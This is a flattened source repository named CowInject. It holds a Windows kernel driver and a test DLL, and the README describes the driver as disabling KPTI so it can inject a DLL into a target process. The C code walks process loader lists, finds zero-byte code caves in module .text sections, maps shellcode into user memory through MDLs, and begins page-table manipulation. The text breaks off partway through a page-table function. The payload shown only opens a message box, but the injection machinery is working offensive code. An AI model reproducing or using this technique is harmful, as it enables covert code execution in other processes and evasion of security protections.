├── Ycix64 ├── pch.cpp ├── framework.h ├── Ycix64.vcxproj.user ├── pch.h ├── dllmain.cpp ├── Ycix64.vcxproj.filters └── Ycix64.vcxproj ├── CowInject ├── CowInject.vcxproj.user ├── CowInject.vcxproj.filters ├── CowInject.vcxproj └── main.c ├── README.md └── CowInject.sln /Ycix64/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: 与预编译标头对应的源文件 2 | 3 | #include "pch.h" 4 | 5 | // 当使用预编译的头时,需要使用此源文件,编译才能成功。 6 | -------------------------------------------------------------------------------- /Ycix64/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 4 | // Windows 头文件 5 | #include 6 | -------------------------------------------------------------------------------- /Ycix64/Ycix64.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Ycix64/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: 这是预编译标头文件。 2 | // 下方列出的文件仅编译一次,提高了将来生成的生成性能。 3 | // 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。 4 | // 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。 5 | // 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // 添加要在此处预编译的标头 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /CowInject/CowInject.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Off 5 | 6 | 7 | Off 8 | 9 | -------------------------------------------------------------------------------- /Ycix64/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : 定义 DLL 应用程序的入口点。 2 | #include "pch.h" 3 | 4 | DWORD __stdcall expStart(LPVOID lpThreadParameter) 5 | { 6 | MessageBoxA(0, 0, 0, 0); 7 | return 0; 8 | } 9 | 10 | __declspec(dllexport) void Start(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 11 | { 12 | CreateThread(NULL, NULL, expStart, NULL, NULL, NULL); 13 | } 14 | 15 | 16 | BOOL APIENTRY DllMain( HMODULE hModule, 17 | DWORD ul_reason_for_call, 18 | LPVOID lpReserved 19 | ) 20 | { 21 | switch (ul_reason_for_call) 22 | { 23 | case DLL_PROCESS_ATTACH: 24 | case DLL_THREAD_ATTACH: 25 | case DLL_THREAD_DETACH: 26 | case DLL_PROCESS_DETACH: 27 | break; 28 | } 29 | return TRUE; 30 | } 31 | 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CowInject 2 | 3 | 1. Close KPTI;Supprot win10 20h1 win7 sp1;support 2M 1G Page 4 | 2. Dll start in first export function 5 | 3. Compile release vs2019 x64 6 | 4. Blog: https://blog.csdn.net/qq_37353105/article/details/123253770 7 | 5. When you stop driver the target process maybe be crash 8 | 6. it just a demo 9 | 10 | 心血来潮的修改: 11 | 12 | 1.修正了一个bug,清零pde和pte的G位,如果不清零会导致切换线程的时候tlb未及时刷新,访问申请的内核地址出现0xC0000005的情况(还有就是添加和去除User位以及G位都是偷懒的写法,可能有问题) 13 | 14 | 懒人不想修改的地方 15 | 16 | 1.其实不关闭kpti也能玩,因为r3用的是UserDirectoryTableBase,所以需要修改的是这里指向的物理地址,r0的线性地址是没有映射的,可以手动添加,在用windbg调试的时候就算你是.process /i xxxx进程获取的cr3也是r0的,要看r3的用!dq自己按照9 9 9 9 12拆分一下就行了。 17 | 18 | 2.有部分代码写的有问题,就是在attachprocess的dpc level下ProbeForRead/Write加上__try是handle不了的,所以在attachprocess的时候进来还是用MmIsAddressValid,虽然MmIsAddressValid也只是检查了一下页属性,但这不就够了吗? 19 | 20 | -------------------------------------------------------------------------------- /CowInject/CowInject.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | -------------------------------------------------------------------------------- /Ycix64/Ycix64.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 头文件 20 | 21 | 22 | 头文件 23 | 24 | 25 | 26 | 27 | 源文件 28 | 29 | 30 | 源文件 31 | 32 | 33 | -------------------------------------------------------------------------------- /CowInject.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29102.190 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CowInject", "CowInject\CowInject.vcxproj", "{A716CCE9-7592-426E-A732-D0D139C5851F}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Ycix64", "Ycix64\Ycix64.vcxproj", "{DA2EB622-5976-4BF9-9078-F4693DA43D63}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|ARM = Debug|ARM 13 | Debug|ARM64 = Debug|ARM64 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|ARM = Release|ARM 17 | Release|ARM64 = Release|ARM64 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|ARM.ActiveCfg = Debug|ARM 23 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|ARM.Build.0 = Debug|ARM 24 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|ARM.Deploy.0 = Debug|ARM 25 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|ARM64.ActiveCfg = Debug|ARM64 26 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|ARM64.Build.0 = Debug|ARM64 27 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|ARM64.Deploy.0 = Debug|ARM64 28 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|x64.ActiveCfg = Debug|x64 29 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|x64.Build.0 = Debug|x64 30 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|x64.Deploy.0 = Debug|x64 31 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|x86.ActiveCfg = Debug|Win32 32 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|x86.Build.0 = Debug|Win32 33 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Debug|x86.Deploy.0 = Debug|Win32 34 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|ARM.ActiveCfg = Release|ARM 35 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|ARM.Build.0 = Release|ARM 36 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|ARM.Deploy.0 = Release|ARM 37 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|ARM64.ActiveCfg = Release|ARM64 38 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|ARM64.Build.0 = Release|ARM64 39 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|ARM64.Deploy.0 = Release|ARM64 40 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|x64.ActiveCfg = Release|x64 41 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|x64.Build.0 = Release|x64 42 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|x64.Deploy.0 = Release|x64 43 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|x86.ActiveCfg = Release|Win32 44 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|x86.Build.0 = Release|Win32 45 | {A716CCE9-7592-426E-A732-D0D139C5851F}.Release|x86.Deploy.0 = Release|Win32 46 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Debug|ARM.ActiveCfg = Debug|Win32 47 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Debug|ARM64.ActiveCfg = Debug|Win32 48 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Debug|x64.ActiveCfg = Debug|x64 49 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Debug|x64.Build.0 = Debug|x64 50 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Debug|x86.ActiveCfg = Debug|Win32 51 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Debug|x86.Build.0 = Debug|Win32 52 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Release|ARM.ActiveCfg = Release|Win32 53 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Release|ARM64.ActiveCfg = Release|Win32 54 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Release|x64.ActiveCfg = Release|x64 55 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Release|x64.Build.0 = Release|x64 56 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Release|x86.ActiveCfg = Release|Win32 57 | {DA2EB622-5976-4BF9-9078-F4693DA43D63}.Release|x86.Build.0 = Release|Win32 58 | EndGlobalSection 59 | GlobalSection(SolutionProperties) = preSolution 60 | HideSolutionNode = FALSE 61 | EndGlobalSection 62 | GlobalSection(ExtensibilityGlobals) = postSolution 63 | SolutionGuid = {FEA89C28-E891-4883-AC10-2ECCF5560489} 64 | EndGlobalSection 65 | EndGlobal 66 | -------------------------------------------------------------------------------- /CowInject/CowInject.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | Debug 22 | ARM 23 | 24 | 25 | Release 26 | ARM 27 | 28 | 29 | Debug 30 | ARM64 31 | 32 | 33 | Release 34 | ARM64 35 | 36 | 37 | 38 | {A716CCE9-7592-426E-A732-D0D139C5851F} 39 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 40 | v4.5 41 | 12.0 42 | Debug 43 | Win32 44 | CowInject 45 | 46 | 47 | 48 | Windows10 49 | true 50 | WindowsKernelModeDriver10.0 51 | Driver 52 | WDM 53 | 54 | 55 | Windows10 56 | false 57 | WindowsKernelModeDriver10.0 58 | Driver 59 | WDM 60 | 61 | 62 | Windows7 63 | true 64 | WindowsKernelModeDriver10.0 65 | Driver 66 | WDM 67 | false 68 | 69 | 70 | Windows7 71 | false 72 | WindowsKernelModeDriver10.0 73 | Driver 74 | WDM 75 | false 76 | 77 | 78 | Windows10 79 | true 80 | WindowsKernelModeDriver10.0 81 | Driver 82 | WDM 83 | 84 | 85 | Windows10 86 | false 87 | WindowsKernelModeDriver10.0 88 | Driver 89 | WDM 90 | 91 | 92 | Windows10 93 | true 94 | WindowsKernelModeDriver10.0 95 | Driver 96 | WDM 97 | 98 | 99 | Windows10 100 | false 101 | WindowsKernelModeDriver10.0 102 | Driver 103 | WDM 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | DbgengKernelDebugger 115 | 116 | 117 | DbgengKernelDebugger 118 | 119 | 120 | DbgengKernelDebugger 121 | false 122 | 123 | 124 | 125 | DbgengKernelDebugger 126 | false 127 | false 128 | 129 | 130 | DbgengKernelDebugger 131 | 132 | 133 | DbgengKernelDebugger 134 | 135 | 136 | DbgengKernelDebugger 137 | 138 | 139 | DbgengKernelDebugger 140 | 141 | 142 | 143 | false 144 | false 145 | 146 | 147 | 148 | 149 | false 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /Ycix64/Ycix64.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {DA2EB622-5976-4BF9-9078-F4693DA43D63} 24 | Win32Proj 25 | Ycix64 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | false 91 | _DEBUG;YCIX64_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 92 | true 93 | pch.h 94 | MultiThreadedDebug 95 | false 96 | false 97 | 98 | 99 | Windows 100 | true 101 | false 102 | 103 | 104 | 105 | 106 | Use 107 | Level3 108 | Disabled 109 | true 110 | WIN32;_DEBUG;YCIX64_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 111 | true 112 | pch.h 113 | 114 | 115 | Windows 116 | true 117 | false 118 | 119 | 120 | 121 | 122 | Use 123 | Level3 124 | MaxSpeed 125 | true 126 | true 127 | true 128 | WIN32;NDEBUG;YCIX64_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 129 | true 130 | pch.h 131 | 132 | 133 | Windows 134 | true 135 | true 136 | true 137 | false 138 | 139 | 140 | 141 | 142 | Use 143 | Level3 144 | MaxSpeed 145 | true 146 | true 147 | true 148 | NDEBUG;YCIX64_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 149 | true 150 | pch.h 151 | MultiThreaded 152 | 153 | 154 | Windows 155 | true 156 | true 157 | true 158 | false 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | Create 169 | Create 170 | Create 171 | Create 172 | 173 | 174 | 175 | 176 | 177 | -------------------------------------------------------------------------------- /CowInject/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define DELAY_ONE_MICROSECOND (-10) 7 | #define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000) 8 | #define DLLPATH L"\\??\\C:\\Users\\yongcai\\Desktop\\Ycix64.dll" 9 | 10 | NTKERNELAPI PPEB NTAPI PsGetProcessPeb(IN PEPROCESS Process); 11 | NTKERNELAPI PPEB NTAPI PsGetProcessWow64Process(PEPROCESS Process); 12 | 13 | ULONG64 g_oep = 0; 14 | ULONG g_injectPid = 0; 15 | BOOLEAN g_IsEB = FALSE; 16 | PVOID g_shellCode = NULL; 17 | ULONG g_allocateSize = 0; 18 | ULONG64 g_funcoffset = 0; 19 | ULONG64 g_funcAddress = 0; 20 | PWORK_QUEUE_ITEM g_workItem = NULL; 21 | 22 | typedef struct _PEB32 { 23 | UCHAR InheritedAddressSpace; 24 | UCHAR ReadImageFileExecOptions; 25 | UCHAR BeingDebugged; 26 | UCHAR BitField; 27 | ULONG Mutant; 28 | ULONG ImageBaseAddress; 29 | ULONG Ldr; 30 | ULONG ProcessParameters; 31 | ULONG SubSystemData; 32 | ULONG ProcessHeap; 33 | ULONG FastPebLock; 34 | ULONG AtlThunkSListPtr; 35 | ULONG IFEOKey; 36 | ULONG CrossProcessFlags; 37 | ULONG UserSharedInfoPtr; 38 | ULONG SystemReserved; 39 | ULONG AtlThunkSListPtr32; 40 | ULONG ApiSetMap; 41 | } PEB32, * PPEB32; 42 | 43 | typedef struct _PEB_LDR_DATA { 44 | ULONG Length; 45 | UCHAR Initialized; 46 | PVOID SsHandle; 47 | LIST_ENTRY InLoadOrderModuleList; 48 | LIST_ENTRY InMemoryOrderModuleList; 49 | LIST_ENTRY InInitializationOrderModuleList; 50 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 51 | 52 | typedef struct _PEB { 53 | UCHAR InheritedAddressSpace; 54 | UCHAR ReadImageFileExecOptions; 55 | UCHAR BeingDebugged; 56 | UCHAR BitField; 57 | PVOID Mutant; 58 | PVOID ImageBaseAddress; 59 | PPEB_LDR_DATA Ldr; 60 | PVOID ProcessParameters; 61 | PVOID SubSystemData; 62 | PVOID ProcessHeap; 63 | PVOID FastPebLock; 64 | PVOID AtlThunkSListPtr; 65 | PVOID IFEOKey; 66 | PVOID CrossProcessFlags; 67 | PVOID KernelCallbackTable; 68 | ULONG SystemReserved; 69 | ULONG AtlThunkSListPtr32; 70 | PVOID ApiSetMap; 71 | } PEB, * PPEB; 72 | 73 | typedef struct _PEB_LDR_DATA32 { 74 | ULONG Length; 75 | UCHAR Initialized; 76 | ULONG SsHandle; 77 | LIST_ENTRY32 InLoadOrderModuleList; 78 | LIST_ENTRY32 InMemoryOrderModuleList; 79 | LIST_ENTRY32 InInitializationOrderModuleList; 80 | } PEB_LDR_DATA32, * PPEB_LDR_DATA32; 81 | 82 | typedef struct _LDR_DATA_TABLE_ENTRY32 { 83 | LIST_ENTRY32 InLoadOrderLinks; 84 | LIST_ENTRY32 InMemoryOrderLinks; 85 | LIST_ENTRY32 InInitializationOrderLinks; 86 | ULONG DllBase; 87 | ULONG EntryPoint; 88 | ULONG SizeOfImage; 89 | UNICODE_STRING32 FullDllName; 90 | UNICODE_STRING32 BaseDllName; 91 | ULONG Flags; 92 | USHORT LoadCount; 93 | USHORT TlsIndex; 94 | LIST_ENTRY32 HashLinks; 95 | ULONG TimeDateStamp; 96 | } LDR_DATA_TABLE_ENTRY32, * PLDR_DATA_TABLE_ENTRY32; 97 | 98 | typedef struct _LDR_DATA_TABLE_ENTRY { 99 | LIST_ENTRY InLoadOrderLinks; 100 | LIST_ENTRY InMemoryOrderLinks; 101 | LIST_ENTRY InInitializationOrderLinks; 102 | PVOID DllBase; 103 | PVOID EntryPoint; 104 | ULONG SizeOfImage; 105 | UNICODE_STRING FullDllName; 106 | UNICODE_STRING BaseDllName; 107 | ULONG Flags; 108 | USHORT LoadCount; 109 | USHORT TlsIndex; 110 | LIST_ENTRY HashLinks; 111 | ULONG TimeDateStamp; 112 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 113 | 114 | typedef struct _KLDR_DATA_TABLE_ENTRY { 115 | LIST_ENTRY InLoadOrderLinks; 116 | PVOID ExceptionTable; 117 | ULONG ExceptionTableSize; 118 | PVOID GpValue; 119 | ULONG UnKnow; 120 | PVOID DllBase; 121 | PVOID EntryPoint; 122 | ULONG SizeOfImage; 123 | UNICODE_STRING FullDllName; 124 | UNICODE_STRING BaseDllName; 125 | ULONG Flags; 126 | USHORT LoadCount; 127 | USHORT __Unused5; 128 | PVOID SectionPointer; 129 | ULONG CheckSum; 130 | PVOID LoadedImports; 131 | PVOID PatchInformation; 132 | } KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY; 133 | 134 | PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64) 135 | { 136 | if (EProcess == NULL) 137 | return NULL; 138 | __try 139 | { 140 | if (IsWow64) 141 | { 142 | PPEB32 Peb32 = (PPEB32)PsGetProcessWow64Process(EProcess); 143 | if (Peb32 == NULL) 144 | return NULL; 145 | 146 | if (!Peb32->Ldr) 147 | return NULL; 148 | 149 | for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink; 150 | ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList; 151 | ListEntry = (PLIST_ENTRY32)ListEntry->Flink) 152 | { 153 | UNICODE_STRING UnicodeString; 154 | PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks); 155 | RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer); 156 | if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0) 157 | return (PVOID)LdrDataTableEntry32->DllBase; 158 | } 159 | } 160 | else 161 | { 162 | PPEB Peb = PsGetProcessPeb(EProcess); 163 | if (!Peb) 164 | return NULL; 165 | 166 | if (!Peb->Ldr) 167 | return NULL; 168 | 169 | for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink; 170 | ListEntry != &Peb->Ldr->InLoadOrderModuleList; 171 | ListEntry = ListEntry->Flink) 172 | { 173 | PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); 174 | if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0) 175 | return LdrDataTableEntry->DllBase; 176 | } 177 | } 178 | } 179 | __except (EXCEPTION_EXECUTE_HANDLER) {} 180 | 181 | return NULL; 182 | } 183 | 184 | PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName) 185 | { 186 | PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase; 187 | PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL; 188 | PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL; 189 | PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL; 190 | ULONG ExportDirectorySize = 0; 191 | ULONG_PTR FunctionAddress = 0; 192 | 193 | if (ModuleBase == NULL) 194 | return NULL; 195 | 196 | __try 197 | { 198 | if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 199 | { 200 | return NULL; 201 | } 202 | 203 | ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew); 204 | ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew); 205 | 206 | if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) 207 | { 208 | ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase); 209 | ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 210 | } 211 | else 212 | { 213 | ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase); 214 | ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 215 | } 216 | 217 | PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase); 218 | PULONG pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase); 219 | PULONG pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase); 220 | 221 | for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i) 222 | { 223 | USHORT OrdIndex = 0xFFFF; 224 | PCHAR pName = NULL; 225 | 226 | if ((ULONG_PTR)FunctionName <= 0xFFFF) 227 | { 228 | OrdIndex = (USHORT)i; 229 | } 230 | 231 | else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames) 232 | { 233 | pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase); 234 | OrdIndex = pAddressOfOrds[i]; 235 | } 236 | 237 | else 238 | return NULL; 239 | if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) || 240 | ((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0)) 241 | { 242 | PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)ImageNtHeaders64 + sizeof(ImageNtHeaders64->Signature) + sizeof(ImageNtHeaders64->FileHeader) + ImageNtHeaders64->FileHeader.SizeOfOptionalHeader); 243 | for (int j = 0; j < ImageNtHeaders64->FileHeader.NumberOfSections; j++) 244 | { 245 | if (memcmp(".text", pSectionHeader->Name, strlen(".text") + 1) == 0) 246 | { 247 | if (pAddressOfFuncs[OrdIndex] > pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData) 248 | { 249 | return (PVOID)pAddressOfFuncs[OrdIndex]; 250 | } 251 | } 252 | pSectionHeader++; 253 | } 254 | 255 | FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase; 256 | break; 257 | } 258 | } 259 | } 260 | __except (EXCEPTION_EXECUTE_HANDLER) {} 261 | 262 | return (PVOID)FunctionAddress; 263 | } 264 | 265 | PUCHAR SearchModuleTextNop(IN PVOID ModuleBase, int len , ULONG offset) 266 | { 267 | if (ModuleBase == NULL) 268 | return NULL; 269 | 270 | __try 271 | { 272 | PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase; 273 | if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 274 | { 275 | return NULL; 276 | } 277 | PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew); 278 | PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader); 279 | 280 | PUCHAR endAddress = 0; 281 | PUCHAR starAddress = 0; 282 | for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++) 283 | { 284 | if (memcmp(".text", pSectionHeader->Name, strlen(".text") + 1) == 0) 285 | { 286 | starAddress = pSectionHeader->VirtualAddress + (PUCHAR)ModuleBase; 287 | endAddress = pSectionHeader->VirtualAddress + (PUCHAR)ModuleBase + pSectionHeader->SizeOfRawData; 288 | break; 289 | } 290 | pSectionHeader++; 291 | } 292 | 293 | if (endAddress && starAddress) 294 | { 295 | for (; starAddress < endAddress - len - 1; starAddress++) 296 | { 297 | ProbeForRead(starAddress, sizeof(PVOID), 1); 298 | int i = 0; 299 | for (; i < len; i++) 300 | { 301 | if (0x00 != starAddress[i]) 302 | break; 303 | } 304 | if (i == len) 305 | { 306 | return starAddress + offset; 307 | } 308 | } 309 | } 310 | }__except (EXCEPTION_EXECUTE_HANDLER) {} 311 | 312 | return NULL; 313 | } 314 | 315 | NTSTATUS MapSC(PUCHAR shellcode, PVOID address, ULONG len) 316 | { 317 | BOOLEAN isLock = FALSE; 318 | NTSTATUS status = STATUS_UNSUCCESSFUL; 319 | 320 | PMDL mdl = IoAllocateMdl(address, PAGE_SIZE, FALSE, FALSE, NULL); 321 | __try 322 | { 323 | MmProbeAndLockPages(mdl, UserMode, IoReadAccess); 324 | isLock = TRUE; 325 | 326 | PVOID virtualAddress = MmMapLockedPagesSpecifyCache(mdl, KernelMode, MmCached, NULL, FALSE, NormalPagePriority); 327 | if (virtualAddress) 328 | { 329 | memcpy(virtualAddress, shellcode, len); 330 | status = STATUS_SUCCESS; 331 | MmUnmapLockedPages(virtualAddress, mdl); 332 | if (isLock) 333 | { 334 | MmUnlockPages(mdl); 335 | } 336 | IoFreeMdl(mdl); 337 | mdl = NULL; 338 | } 339 | } 340 | __except (EXCEPTION_EXECUTE_HANDLER) 341 | { 342 | if (isLock) 343 | { 344 | MmUnlockPages(mdl); 345 | } 346 | IoFreeMdl(mdl); 347 | mdl = NULL; 348 | } 349 | return status; 350 | } 351 | 352 | ULONG_PTR GetPTEBase() 353 | { 354 | ULONG_PTR PXEPA = __readcr3() & 0xFFFFFFFFF000; 355 | PHYSICAL_ADDRESS PXEPAParam; 356 | PXEPAParam.QuadPart = (LONGLONG)PXEPA; 357 | ULONG_PTR PXEVA = (ULONG_PTR)MmGetVirtualForPhysical(PXEPAParam); 358 | if (PXEVA) 359 | { 360 | ULONG_PTR PXEOffset = 0; 361 | do 362 | { 363 | 